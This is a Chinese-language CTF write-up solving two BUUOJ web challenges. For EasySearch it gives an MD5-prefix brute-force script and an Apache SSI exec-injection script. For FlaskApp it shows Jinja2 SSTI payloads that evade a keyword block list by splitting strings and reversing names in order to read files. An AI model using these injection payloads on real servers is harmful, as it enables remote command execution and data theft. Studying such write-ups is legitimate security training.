[BJDCTF2020]EasySearch
思路
扫描到index.php.swp文件(并没有
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
?>
解题
先找到MD5值的为6d0bc1开头的内容,这里写个多线程py文件
(单线程太慢了
import hashlib
import threading
# 定义一个锁,用于同步线程
lock = threading.Lock()
# 定义一个共享变量,用于记录找到的i值
found_i = None
def md5_check(start, end):
global found_i
for i in range(start, end):
a = hashlib.md5(str(i).encode('utf-8')).hexdigest()
if a[:6] == '6d0bc1':
with lock:
found_i = i
print(f"Found at i={found_i} by thread {threading.current_thread().name}")
return
def main():
num_threads = 20
total_range = 10000000000000000
range_per_thread = total_range // num_threads
threads = []
for i in range(num_threads):
start = i * range_per_thread + 1
end = (i + 1) * range_per_thread if i < num_threads - 1 else total_range
thread = threading.Thread(target=md5_check, args=(start, end), name=f"Thread-{i}")
threads.append(thread)
thread.start()
for thread in threads:
thread.join()
if found_i is not None:
print(f"The first i where MD5 hash starts with '6d0bc1' is: {found_i}")
if __name__ == "__main__":
main()

然后输入密码,抓包,在返回包体中发现:Url_Is_Here: public/418bee65cef42f2244aa047dd495ea0facc37971.shtml
结合之前的代码,容易看出 <h1>Hello,'.$_POST['username'].'</h1>这里存在注入类的漏洞
后来知道这是Apache SSI 远程命令执行漏洞(SSI注入漏洞)
默认扩展名是 .stm、.shtm 和 .shtml的网页可能存在这一漏洞
SSI标签相关知识:服务器端包含 (SSI) 注入 |OWASP 基金会
尝试用SSI标签作为username访问网站,确实有这个注入漏洞
这里为了方便起见写个py文件访问一下
import requests
from lxml import etree
url = 'http://c49dcc60-3f7c-4061-aa42-5031d25b7b09.node5.buuoj.cn:81/'
data = {'username': '11', 'password': '7000000000624522'}
cmd = 'cat ../flag*' # imput here!!!
data['username'] = '<!--#exec cmd="' + cmd + '" -->'
response = requests.post(url=url+'index.php', data=data)
shtml = response.headers['Url_Is_Here']
# print(shtml)
response_2 = requests.get(url=url+shtml)
# print(response_2.text)
tree = etree.HTML(response_2.text)
print(tree.xpath('/html/body/h1/text()')[0][6:])

注意
默认扩展名是 .stm、.shtm 和 .shtml的网页可能存在Apache SSI 远程命令执行漏洞(SSI注入漏洞)
SSI标签模板:`<!–#exec cmd=”ls” –>`
[GYCTF2020]FlaskApp
思路
明显是flask的SSTI应该是在解码那里,试了试果然是
不会,直接看WriteUp了
解题
两个解法,一个通用,一个灵活
灵活解法:直接读取flag
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}
# eyUgZm9yIGMgaW4gW10uX19jbGFzc19fLl9fYmFzZV9fLl9fc3ViY2xhc3Nlc19fKCkgJX17JSBpZiBjLl9fbmFtZV9fPT0nY2F0Y2hfd2FybmluZ3MnICV9e3sgYy5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ10ub3BlbignYXBwLnB5JywncicpLnJlYWQoKSB9fXslIGVuZGlmICV9eyUgZW5kZm9yICV9Cg==
看到app.py源码:
from flask import Flask, render_template_string
from flask import render_template, request, flash, redirect, url_for
from flask_wtf import FlaskForm
from wtforms import StringField, SubmitField
from wtforms.validators import DataRequired
from flask_bootstrap import Bootstrap
import base64
app = Flask(__name__)
app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y'
bootstrap = Bootstrap(app)
class NameForm(FlaskForm):
text = StringField('BASE64加密', validators=[DataRequired()])
submit = SubmitField('提交')
class NameForm1(FlaskForm):
text = StringField('BASE64解密', validators=[DataRequired()])
submit = SubmitField('提交')
def waf(str):
black_list = ["flag", "os", "system", "popen", "import", "eval", "chr", "request",
"subprocess", "commands", "socket", "hex", "base64", "*", "?"]
for x in black_list:
if x in str.lower():
return 1
@app.route('/hint', methods=['GET'])
def hint():
txt = "失败乃成功之母!!"
return render_template("hint.html", txt=txt)
@app.route('/', methods=['POST', 'GET'])
def encode():
if request.values.get('text'):
text = request.values.get("text")
text_decode = base64.b64encode(text.encode())
tmp = "结果 :{0}".format(str(text_decode.decode()))
res = render_template_string(tmp)
flash(tmp)
return redirect(url_for('encode'))
else:
text = ""
form = NameForm(text)
return render_template("index.html", form=form, method="加密", img="flask.png")
@app.route('/decode', methods=['POST', 'GET'])
def decode():
if request.values.get('text'):
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp):
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)
flash(res)
return redirect(url_for('decode'))
else:
text = ""
form = NameForm1(text)
return render_template("index.html", form=form, method="解密", img="flask1.png")
@app.route('/<name>', methods=['GET'])
def not_found(name):
return render_template("404.html", name=name)
if __name__ == '__main__':
app.run(host="0.0.0.0", port=5000, debug=True)
审计waf发现可以用字符串拼接
{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}
# e3snJy5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKClbNzVdLl9faW5pdF9fLl9fZ2xvYmFsc19fWydfX2J1aWx0aW5zX18nXVsnX19pbXAnKydvcnRfXyddKCdvJysncycpLmxpc3RkaXIoJy8nKX19
-> ['proc', 'lib', 'etc', 'tmp', 'var', 'home', 'run', 'boot', 'usr', 'sbin', 'opt', 'lib64', 'sys', 'srv', 'bin', 'root', 'dev', 'mnt', 'media', 'this_is_the_flag.txt', '.dockerenv', 'app']
读取this_is_the_flag.txt完事
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}
# eyUgZm9yIGMgaW4gW10uX19jbGFzc19fLl9fYmFzZV9fLl9fc3ViY2xhc3Nlc19fKCkgJX17JSBpZiBjLl9fbmFtZV9fPT0nY2F0Y2hfd2FybmluZ3MnICV9e3sgYy5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ10ub3BlbigndHh0LmdhbGZfZWh0X3NpX3NpaHQvJ1s6Oi0xXSwncicpLnJlYWQoKSB9fXslIGVuZGlmICV9eyUgZW5kZm9yICV9
-> flag{47115782-6285-4760-99ca-6cbf376bf108}
注意
学学flask模板去